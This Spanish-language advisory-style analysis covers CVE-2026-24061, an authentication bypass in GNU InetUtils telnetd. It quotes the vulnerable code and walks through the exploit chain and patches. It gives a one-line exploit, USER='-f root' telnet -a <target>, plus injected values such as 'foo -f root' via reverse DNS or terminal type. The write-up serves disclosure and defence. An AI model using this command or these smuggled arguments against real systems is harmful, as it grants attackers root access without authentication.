
Análisis técnico profundo y escáner para CVE-2026-24061, una omisión crítica de autenticación en GNU InetUtils telnetd, incluyendo cadena de explotación, PoC y detalles del parche.
CVE-2026-24061 es una vulnerabilidad crítica (CVSS 9.8) de omisión de autenticación remota en telnetd de GNU InetUtils que permite a atacantes no autenticados obtener acceso root instantáneo. La vulnerabilidad se origina en una sanitización inadecuada de la variable de entorno USER, que se pasa directamente a /usr/bin/login como argumento de línea de comandos. Al establecer USER=-f root, un atacante activa la bandera -f de login, que omite la autenticación por completo.
Versiones Afectadas: GNU InetUtils 1.9.3 hasta 2.7 Tipo de Vulnerabilidad: CWE-88 (Inyección de Argumentos) Fecha de Descubrimiento: 20 de enero de 2026 Descubridor: Kyu Neushwaistein (alias Carlos Cortes Alvarez)
telnetd/telnetd.c, líneas ~49-63)La vulnerabilidad comienza con una cadena de plantilla de comando que define cómo telnetd invoca /usr/bin/login:
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;
Observación Clave: En sistemas no Solaris, la plantilla utiliza:
%?u{-f %u}{%U} - Esta es una expresión condicional que significa:
user_name está establecido (%u), usar -f %u (autologin autenticado)%U (la variable de entorno USER como respaldo)El problema crítico: %U se expande a la variable de entorno USER cruda y sin sanitizar.
telnetd/utility.c, _var_short_name())La cadena de plantilla se procesa mediante expand_line(), que llama a _var_short_name() para expandir los marcadores de posición. Aquí está el código vulnerable:
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
char *q;
char timebuf[64];
time_t t;
switch (*exp->cp++)
{
case 'a':
#ifdef AUTHENTICATION
if (auth_level >= 0 && autologin == AUTH_VALID)
return xstrdup ("ok");
#endif
return NULL;
case 'd':
time (&t);
strftime (timebuf, sizeof (timebuf),
"%l:%M%p on %A, %d %B %Y", localtime (&t));
return xstrdup (timebuf);
case 'h':
return xstrdup (remote_hostname); // POTENCIALMENTE VULNERABLE
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL; // POTENCIALMENTE VULNERABLE
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup (""); // ¡VULNERABLE!
default:
exp->state = EXP_STATE_ERROR;
return NULL;
}
}
El Error Crítico (caso 'U'): La variable de entorno USER se obtiene mediante getenv() y se pasa sin ninguna sanitización. Cuando un atacante establece USER=-f root, esto se convierte en parte de la línea de comandos de login.
telnetd/pty.c, start_login())La cadena de invocación de login expandida se ejecuta en start_login():
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);
El atacante se conecta a telnetd (puerto 23)
Se produce la negociación de opciones Telnet:
IAC DO NEW_ENVIRONIAC WILL NEW_ENVIRONIAC SB NEW_ENVIRON SEND (solicitando entorno)IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SEEl servidor procesa la variable USER:
getenv("USER") devuelve -f root%U se expande a -f root/usr/bin/login -p -h <hostname> -f rootLogin interpreta -f root:
-f significa "omitir autenticación, el usuario está preautenticado"root es el nombre de usuario con el que iniciar sesión# En la máquina del atacante:
USER='-f root' telnet -a <ip_objetivo>
La bandera -a habilita el modo de inicio de sesión automático, que envía la variable de entorno USER al servidor.
El aviso de seguridad señala explícitamente: "Por lo tanto, existe potencial para vulnerabilidades similares en otras variables." Analicemos cada variable en _var_short_name():
| Var | Nombre | Fuente | ¿Controlable por el Usuario? | ¿Sanitizada? | Superficie de Ataque |
|---|---|---|---|---|---|
%U | Variable de entorno USER | getenv("USER") | SÍ (mediante NEW_ENVIRON) | NO | CRÍTICA - CVE-2026-24061 |
%h | remote_hostname | Búsqueda DNS/PTR | Parcial (registro PTR) | NO | ALTA |
%T | terminaltype | Opción TERMINAL-TYPE | SÍ | NO | MEDIA |
%u | user_name | Negociación de protocolo | SÍ | NO | MEDIA (requiere autenticación) |
%l | local_hostname | Configuración del sistema | NO | N/A | BAJA |
%L | line (TTY) | Asignado por el sistema | NO | N/A | BAJA |
%t | nombre corto de TTY | Asignado por el sistema | NO | N/A | BAJA |
%d | fecha/hora | Reloj del sistema | NO | N/A | NINGUNA |
%a | estado de autenticación | Estado interno | NO | N/A | NINGUNA |
%h - Nombre de Host Remoto (RIESGO ALTO)Fuente: Se completa en telnetd_setup() desde telnetd.c mediante getnameinfo() o gethostbyaddr().
El Problema: Si un atacante controla su registro PTR (DNS inverso), podría potencialmente inyectar:
foo -f root
Como su nombre de host, que se convertiría en parte del argumento -h:
/usr/bin/login -p -h "foo -f root" ...
Dificultad de Explotación:
Escenario del Mundo Real: Un atacante con control del registro PTR de su IP (común en proveedores de VPS) podría establecer su DNS inverso a un valor malicioso.
%T - Tipo de Terminal (RIESGO MEDIO)Fuente: Se recibe mediante la subnegociación TERMINAL-TYPE de Telnet, almacenada en la variable terminaltype.
El Problema: La cadena del tipo de terminal está controlada por el atacante y no está sanitizada:
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
Uso en Plantillas:
%?T{-t %T} - Se usa con la bandera -t%?T{%T} - Se inserta directamenteAtaque Potencial:
TERMINAL-TYPE: xterm -f root
Sin embargo, la explotación depende de:
%T (actualmente solo Solaris)-t%u - Nombre de Usuario Autenticado (RIESGO MEDIO)Fuente: Se establece durante la negociación de autenticación.
El Problema: Se usa en el patrón -f %u:
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
Si un atacante pudiera manipular user_name para incluir metacaracteres de shell o argumentos adicionales, podría lograr una escalada. Sin embargo, esta variable normalmente solo se establece después de alguna validación de autenticación.
%l, %L, %t: Se derivan de valores controlados por el sistema (nombre de host local, nombres de dispositivos TTY) que los atacantes no pueden influenciar remotamente.
%d: Se genera a partir del reloj del sistema - sin vector de inyección.
%a: Variable interna de estado de autenticación - devuelve literalmente "ok" o NULL.
Basado en esta vulnerabilidad, aquí hay patrones para buscar en el código base:
// PELIGROSO: Uso directo de variables de entorno
getenv("VARIABLE")
Archivos a verificar:
telnetd/utility.c - Otras funciones de expansióntelnetd/telnetd.c - Manejo de entornorlogind/, rshd/ - Servicios similares// PELIGROSO: Datos de usuario en plantillas de comandos
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);
// POTENCIALMENTE PELIGROSO: Los datos DNS pueden estar controlados por el atacante
getnameinfo(...); // Búsquedas PTR
gethostbyaddr(...);
// Luego usar el resultado en la construcción de comandos
Daemon ftpd: Verificar cómo se maneja la entrada del usuario en la autenticación y el procesamiento de comandos
Daemons rshd/rlogind: Estos usan patrones de autenticación similares y pueden tener problemas comparables con el manejo de nombres de host o entorno
Análisis de configuración de inetd: Puede procesar entrada no confiable al configurar servicios
Puntos de integración Kerberos: Al procesar nombres de principal o tokens de autenticación
fd702c02)El primer parche agrega sanitización básica:
case 'U':
{
char *u = getenv("USER");
return (u && *u != '-') ? xstrdup(u) : xstrdup("");
}
Esto bloquea valores que comienzan con -, lo que previene la inyección de banderas.
ccba9f74)El segundo parche introduce una función sanitize() reutilizable para todas las entradas controladas por el usuario:
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
if (str == NULL || *str == '-')
return xstrdup ("");
return xstrdup (str);
}
Aplicada a todas las variables potencialmente peligrosas:
%U (USER)%h (remote_hostname)%T (terminaltype)CVE-2026-24061 es una vulnerabilidad de inyección de argumentos de libro de texto que pasó desapercibida durante 11 años debido a:
Pueden existir vulnerabilidades similares en las variables %h (nombre de host) y %T (tipo de terminal), aunque la explotación es más compleja.
Implicaciones más amplias: Cualquier código que construya comandos de shell o argumentos de programas a partir de datos derivados de la red debe auditarse para detectar vulnerabilidades de inyección similares.
Mitigaciones recomendadas:
-f